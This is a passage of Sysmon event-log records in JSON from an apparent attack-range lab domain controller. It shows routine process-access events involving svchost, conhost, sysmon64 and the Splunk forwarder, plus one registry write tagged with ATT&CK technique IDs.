11:52:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3794,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:35.624\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:35.624","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3795,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:35.624\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:35.624","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3796,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:35.624\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:35.624","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3797,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:35.624\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:35.624","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3798,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:35.624\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:35.624","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3799,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:35.624\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:35.624","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3800,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:35.624\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4083-5F2D-0000-0010BA750500}\r\nTargetProcessId: 4896\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:35.624","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4083-5F2D-0000-0010BA750500}","TargetProcessId":"4896","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3801,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:35.624\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4083-5F2D-0000-0010BA750500}\r\nTargetProcessId: 4896\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:35.624","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4083-5F2D-0000-0010BA750500}","TargetProcessId":"4896","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":3802,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: T1031,T1050\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:52:36.140\r\nProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nProcessId: 852\r\nImage: C:\\Windows\\system32\\services.exe\r\nTargetObject: HKLM\\System\\CurrentControlSet\\Services\\npf\\Start\r\nDetails: DWORD (0x00000003)","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"T1031,T1050","UtcTime":"2020-08-07 11:52:36.140","ProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","Image":"C:\\Windows\\system32\\services.exe","TargetObject":"HKLM\\System\\CurrentControlSet\\Services\\npf\\Start","Details":"DWORD (0x00000003)","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 